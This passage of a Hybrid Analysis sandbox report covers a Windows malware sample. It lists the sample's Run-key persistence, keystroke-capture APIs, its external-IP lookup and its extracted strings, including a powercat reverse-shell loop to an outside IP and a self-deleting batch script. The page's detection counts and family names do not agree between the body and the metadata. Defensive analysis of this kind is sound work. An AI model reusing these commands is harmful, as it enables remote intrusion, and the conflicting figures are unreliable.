00027280-00002792-53052-175-0040A7B9\n GetUserNameW@ADVAPI32.DLL at 00027280-00002792-58501-175-0040A7B9\n GetUserNameA@ADVAPI32.DLL at 00027280-00002792-58501-643-00405C31","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-28","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"Installation/Persistance","name":"Dropped files","description":"\"default.conf\" has type \"data\"\n \"jvsgr.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"https://secure.comodo.net/CPS0C\"\n Pattern match: \"crl.comodoca.com/COMODORSACodeSigningCA.crl0t\"\n Pattern match: \"crt.comodoca.com/COMODORSACodeSigningCA.crt0$\"\n Pattern match: \"http://ocsp.comodoca.com0\"\n Heuristic match: \"checkip.dyndns.org\"\n Pattern match: \"http://www.yandex.com\"\n Heuristic match: \"GET / HTTP/1.1\nHost: checkip.dyndns.org\"\n Heuristic match: \"andex.com\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"jvsgr.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Sets the process error mode to suppress error box","description":"\"\" set its error mode to SEM_NOOPENFILEERRORBOX","origin":"API Call","relevance":8,"id":"api-38","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rdata with unusual entropies 7.98524623225","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"jvsgr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"jvsgr.exe\" has type \"PE32 executable (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"jvsgr.exe\" (Access type: \"CREATE\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\")\n \"jvsgr.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\"; Key: \"JVSGR\"; Value: \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe\")","origin":"Registry Access","relevance":8,"id":"registry-0","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Touches files in the Windows directory","description":"\"\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"jvsgr.exe\" touched file \"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls\"\n \"jvsgr.exe\" touched file \"%WINDIR%\\Fonts\\staticcache.dat\"\n \"jvsgr.exe\" touched file \"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"51.255.86.55:443;\"\n Heuristic match: \"@echo off\n:loop\ncmd.exe /c powershell; Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force;. \"%s\"; powercat -l -p 4000 -r tcp:51.255.86.55:443; \ngoto :loop\"\n Heuristic match: \"@echo off\nping 192.0.2.2 -n 1 -w %d >nul 2>&1\ndel /s \"%s\" >nul 2>&1\ncall :%s&exit /b\n:%s\nstart /b \"\" cmd /c del \"%%~f0\"&exit /b\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"\"%WINDIR%\\system32\\wbem\\wmiprvse.exe -Embedding\" (Indicator: \"wmiprvse.exe\")","origin":"File/Memory","relevance":10,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00025488-00002624-41464-61-00405AE6\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00025488-00002624-41464-210-0040E530\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00025488-00002624-41464-159-00407E98\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00027280-00002792-53052-61-00405AE6\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00027280-00002792-53052-214-0040E530\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00027280-00002792-53052-163-00407E98\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00027280-00002792-58501-61-00405AE6\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00027280-00002792-58501-163-00407E98\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00027280-00002792-58501-214-0040E530","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve keyboard strokes","description":"GetKeyboardState@USER32.DLL at 00025488-00002624-41464-215-0040FD75\n GetKeyboardState@USER32.DLL at 00027280-00002792-53052-219-0040FD75\n GetKeyboardState@USER32.DLL at 00027280-00002792-58501-219-0040FD75","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-12","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe\" marked \"Z:\\25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe\" for deletion","origin":"API Call","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"jvsgr.exe\" opened \"C:\\25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CreateDirectoryA\n CreateFileA\n DeviceIoControl\n FindFirstFileA\n GetDriveTypeW\n GetModuleHandleA\n GetProcAddress\n GetStartupInfoA\n GetTickCount\n WriteFile","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$26","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"jvsgr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"jvsgr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"jvsgr.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/53 Antivirus vendors marked sample as malicious (3% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes a PE file header to disc","description":"\"\" wrote 32768 bytes starting with PE header signature to file \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe\": 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000c00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...","origin":"API Call","relevance":1,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$27","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"checkip.dyndns.org\"","origin":"Network Traffic","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Tries to identify its external IP address"}],"sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Contains ability to lookup the windows account name"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}]},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":0,"imported_dlls_count":48,"dropped_files_count":0,"extracted_files_count":2,"files_written_count":27,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":1,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"sandbox_reports":[{"id":"57ab3c95aac2edd1405494a0","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"QVM20.1.Malware","contacted_countries":["FRA","USA"],"submit_name":"25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8","analysis_start_time":"2016-08-10T16:39:56+00:00","indicators_count":{"informative":15,"suspicious":21,"malicious":5},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample not shared"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"51.255.86.55","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"address":"216.146.38.70","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}],"dns_resolutions":[{"domain":"checkip.dyndns.org","address":"216.146.38.70","country":"United States","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}],"http_requests":[{"host":"checkip.dyndns.org","host_ip":"216.146.38.70:80","url":"/","method":"GET","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}],"processes":[{"pid":2624,"ppid":0,"name":"25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe","command_line":"","normalized_path":"C:\\25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe","uid":"00025488-00002624","icon":"$28"},{"pid":2800,"ppid":2624,"name":"cmd.exe","command_line":"/c copy \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe+\" \"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe\"","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00025488-00002624","uid":"00027272-00002800","icon":"$29"},{"pid":2792,"ppid":2624,"name":"jvsgr.exe","command_line":"-m \"C:\\25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8.exe\"","normalized_path":"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe","parent_uid":"00025488-00002624","uid":"00027280-00002792"},{"pid":3204,"ppid":0,"name":"","command_line":"","normalized_path":"","uid":"00025529-00003204"}],"all_imported_dlls":["ntdll.dll","msimg32.dll","advapi32.dll","eappgnui.dll","winbrand.dll","dwmapi.dll","oleaut32.dll","pnrpnsp.dll","uxtheme.dll","msasn1.dll","rpcrt4.dll","apphelp.dll","nlaapi.dll","resutils.dll","KernelBase.dll","crypt32.dll","version.dll","shell32.dll","psapi.dll","cryptbase.dll","FWPUCLNT.DLL","usp10.dll","ws2_32.dll","rpcss.dll","clbcatq.dll","rasadhlp.dll","winnsi.dll","clusapi.dll","kernel32.dll","msvcrt.dll","cmutil.dll","ole32.dll","shlwapi.dll","sspicli.dll","gdi32.dll","msctf.dll","WSHTCPIP.DLL","nsi.dll","user32.dll","lpk.dll","imm32.dll","mswsock.dll","dnsapi.dll","IPHLPAPI.DLL","sechost.dll","cryptdll.dll","NapiNSP.dll","winrnr.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"default.conf","sha256":"962c62b3cc4f2a2d487a912780800c128a0fa7ff69dd444488db48f1d6460f38","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"name":"jvsgr.exe","sha256":"25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}],"files_written":[{"path":"pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"WMIDataDevice","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\System32\\advapi32.dll","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\en-US\\advapi32.dll.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\drivers\\ACPI.sys","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\drivers\\en-US\\ACPI.sys.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\drivers\\ndis.sys","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\drivers\\en-US\\ndis.sys.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\DRIVERS\\mssmbios.sys","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\DRIVERS\\en-US\\mssmbios.sys.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\DRIVERS\\HDAudBus.sys","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\DRIVERS\\en-US\\HDAudBus.sys.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\System32\\Drivers\\portcls.SYS","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\System32\\Drivers\\en-US\\portcls.SYS.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\DRIVERS\\monitor.sys","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%APPDATA%\\Sun","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%APPDATA%\\Sun\\Java","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%APPDATA%\\Sun\\Java\\Deployment","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%APPDATA%\\Sun\\Java\\Deployment\\jvsgr.exe","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\en-US\\KERNELBASE.dll.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"Nsi","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"\\Device\\RasAcd","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"path":"\\Device\\Afd\\Endpoint","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN\\\\","sources":[{"report_type":"sandbox","report_id":"57ab3c95aac2edd1405494a0"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":null}},"report_ids":{"sandbox_job_ids":["57ab3c95aac2edd1405494a0"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Razy.Generic Sample 25759033ce9d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 25759033ce9d…. Malware family: Razy.Generic. Threat score 100/100. 17/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8"}],["$","meta","4",{"property":"og:title","content":"Malicious Razy.Generic Sample 25759033ce9d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 25759033ce9d…. Malware family: Razy.Generic. Threat score 100/100. 17/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Razy.Generic Sample 25759033ce9d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 25759033ce9d…. Malware family: Razy.Generic. Threat score 100/100. 17/28 AV engines flagged this file. 4 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2a","11",{}]]